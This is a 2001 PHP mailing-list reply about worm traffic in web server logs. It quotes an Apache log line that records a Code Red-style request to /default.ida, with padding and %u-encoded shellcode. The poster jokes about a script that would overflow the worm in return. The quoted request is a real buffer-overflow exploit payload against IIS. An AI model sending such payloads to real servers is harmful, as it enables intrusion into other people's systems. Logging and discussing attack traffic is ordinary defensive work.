Re: new one is it ??
| From: | Tim | Date: | Mon, 13 Aug 2001 14:37:55 +0000 |
| Subject: | Re: new one is it ?? | ||
| References: | 1 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-62429@lists.php.net to get a copy of this message | ||
Boy that looks familiar...my (apache) logs are full of 'em.
I wonder if we can make a PHP script called default.ida that sends back
a big chunk of data and causes the worm to get a buffer overflow? :) :)
- Tim (glad I don't run IIS :)
On 13 Aug 2001 22:27:06 +0800, Mark Lo wrote:
> 208.251.146.123 - - [13/Aug/2001:22:24:27 +0800] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
> u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 400 333 - "-" "-"